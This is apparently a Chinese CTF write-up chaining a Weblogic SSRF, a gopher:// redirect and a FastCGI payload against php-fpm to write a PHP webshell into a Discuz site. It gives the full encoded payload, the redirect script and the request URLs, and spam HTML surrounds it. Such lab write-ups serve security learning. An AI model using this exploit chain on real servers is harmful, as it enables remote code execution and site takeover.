<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/16590

                    第一次正式做三個白帽的題目,能做出來挺不容易,還踩了很多坑...

                    0x00 挑戰介紹

                    來自星星的你被我給丟了,我可能需要用我所有的一切才能把你找回,編了兩句就編不下去了,好吧,我承認這是一期滲透題,就是這么直接。

                    0x01 wp


                    Discuz X3.2

                    打開頁面首先是Discuz X3.2的站,搜了搜發現是6月1號才發布的新版本,稍微搜了搜網上的幾個洞發現都已經被修復了,于是咸魚了一夜,獲得hint:ssrf

                    搜索依法發現長亭的rr菊苣發了一篇文章

                    https://blog.chaitin.com/gopher-attack-surfaces/

                    里面提到discuz X3.2存在ssrf,利用ssrf+gopher協議可getshell

                    但是這個利用方式有個一個很重要的問題就是服務器必須開啟 Gopher wrapper,且php運行方式是fastcgi。

                    掃一波目錄發現了info.php,通過phpinfo()我們發現并沒有開啟 Gopher wrapper。

                    咸魚了一會兒發現了hint3/console/

                    通過這個發現存在weblogin站。。。

                    webLogin

                    這里的洞很簡單了,稍微搜下發現

                    WooYun: 央視網SSRF可窺探內網(Weblogic SSRF案例) "> WooYun: 央視網SSRF可窺探內網(Weblogic SSRF案例)

                    測試發現http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp這里的洞確實存在。

                    而且可以配合前面提到的gopher協議getshell

                    根據長亭博客的文章首先測試

                    在服務器構造

                    #!php
                    <?php
                    header("Location:gopher://服務器ip:2333/_test");
                    ?>
                    

                    然后在服務器監聽2333端口

                    #!bash
                    nc -lvv 2333
                    

                    提交請求

                    #!bash
                    http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp?
                    operator=http://服務器ip/gopher.php
                    &rdoSearch=name
                    &txtSearchname=sdf
                    &txtSearchkey=
                    

                    發現確實收到了test,確認gopher可利用

                    那么就是構造payload了

                    有篇很重要的文章關于fastcgi的利用

                    http://zone.wooyun.org/content/1060

                    用exp生成payload

                    #!bash
                    ./fcgi_exp system 127.0.0.1 2333 /opt/discuz/info.php "echo ‘$_GET[x]($_POST[xx]);’ > /opt/discuz/data/test.php"
                    

                    監聽2333端口

                    #!bash
                    nc -lvv 2333 > 1.txt
                    

                    我們可以看下1.txt

                    #!bash
                    [email protected]:/home/wwwroot/default/fcgi_exp# xxd 1.txt
                    0000000: 0101 0001 0008 0000 0001 0000 0000 0000  ................
                    0000010: 0104 0001 0112 0600 0f14 5343 5249 5054  ..........SCRIPT
                    0000020: 5f46 494c 454e 414d 452f 6f70 742f 6469  _FILENAME/opt/di
                    0000030: 7363 757a 2f69 6e66 6f2e 7068 700d 0144  scuz/info.php..D
                    0000040: 4f43 554d 454e 545f 524f 4f54 2f0f 1053  OCUMENT_ROOT/..S
                    0000050: 4552 5645 525f 534f 4654 5741 5245 676f  ERVER_SOFTWAREgo
                    0000060: 202f 2066 6367 6963 6c69 656e 7420 0b09   / fcgiclient ..
                    0000070: 5245 4d4f 5445 5f41 4444 5231 3237 2e30  REMOTE_ADDR127.0
                    0000080: 2e30 2e31 0f08 5345 5256 4552 5f50 524f  .0.1..SERVER_PRO
                    0000090: 544f 434f 4c48 5454 502f 312e 310e 0343  TOCOLHTTP/1.1..C
                    00000a0: 4f4e 5445 4e54 5f4c 454e 4754 4831 3033  ONTENT_LENGTH103
                    00000b0: 0e04 5245 5155 4553 545f 4d45 5448 4f44  ..REQUEST_METHOD
                    00000c0: 504f 5354 095b 5048 505f 5641 4c55 4561  POST.[PHP_VALUEa
                    00000d0: 6c6c 6f77 5f75 726c 5f69 6e63 6c75 6465  llow_url_include
                    00000e0: 203d 204f 6e0a 6469 7361 626c 655f 6675   = On.disable_fu
                    00000f0: 6e63 7469 6f6e 7320 3d20 0a73 6166 655f  nctions = .safe_
                    0000100: 6d6f 6465 203d 204f 6666 0a61 7574 6f5f  mode = Off.auto_
                    0000110: 7072 6570 656e 645f 6669 6c65 203d 2070  prepend_file = p
                    0000120: 6870 3a2f 2f69 6e70 7574 0000 0000 0000  hp://input......
                    0000130: 0104 0001 0000 0000 0105 0001 0067 0100  .............g..
                    0000140: 3c3f 7068 7020 7379 7374 656d 2827 6563  <?php system('ec
                    0000150: 686f 20e2 8098 5b61 5d28 5b68 685d 293b  ho ...[x]([xx]);
                    0000160: e280 9920 3e20 2f6f 7074 2f64 6973 6375  ... > /opt/discu
                    0000170: 7a2f 6461 7461 2f64 646f 672e 7068 7027  z/data/test.php'
                    0000180: 293b 6469 6528 272d 2d2d 2d2d 3076 6364  );die('-----0vcd
                    0000190: 6233 346f 6a75 3039 6238 6664 2d2d 2d2d  b34oju09b8fd----
                    00001a0: 2d0a 2729 3b3f 3e00                      -.');?>.
                    

                    然后需要urlencode一下

                    #!python
                    >>> f = open('1.txt')
                    >>> ff = f.read()
                    >>> from urllib import quote
                    >>> quote(ff)
                    '%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%06%00%0F%14SCRIPT_FILENAME/opt/discuz/info.php%0D%01DOCUMENT_ROOT/%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%01%00%3C%3Fphp%20system%28%27echo%20%E2%80%98%5Bx%5D%28%5Bxx%5D%29%3B%E2%80%99%20%3E%20/opt/discuz/data/test.php%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00'
                    

                    構造gopher.php

                    #!php
                    <?php
                    header("gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%06%00%0F%14SCRIPT_FILENAME/opt/discuz/info.php%0D%01DOCUMENT_ROOT/%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%01%00%3C%3Fphp%20system%28%27echo%20%E2%80%98%5Bx%5D%28%5Bxx%5D%29%3B%E2%80%99%20%3E%20/opt/discuz/data/test.php%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00");
                    ?>
                    

                    請求

                    #!bash
                    http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp?
                    operator=http://ip/gopher.php
                    &rdoSearch=name
                    &txtSearchname=sdf
                    &txtSearchkey=
                    &txtSearchfor=
                    &selfor=Business+location
                    &btnSubmit=Search
                    

                    由于discuz的data默認可寫,所以成功寫入webshell,有個問題就是不知道為什么一直不能反彈shell進來

                    0x02 題目之后?


                    在做完題目之后想要深究一波原理,結果突然發現題目其實去年的hitcon quals的web400 lalala

                    http://kb.hitcon.org/post/131488130087/hitcon-ctf-2015-quals-web-%E5%87%BA%E9%A1%8C%E5%BF%83%E5%BE%97

                    整個題目的核心概念就是通過302 繞過限制 SSRF,然后通過 SSRF 中的 gopher 去利用本地的 FastCGI prtocol 實現遠程代碼執行

                    實際中如果php fastcgi對公網開放,那么就可以拿shell

                    php-fpm默認監聽9000端口,使用 PHP_ADMIN_VALUE 把 allow_url_include 設為 on 以及新增 auto_prepend_file,利用php://input執行php代碼寫一個shell

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频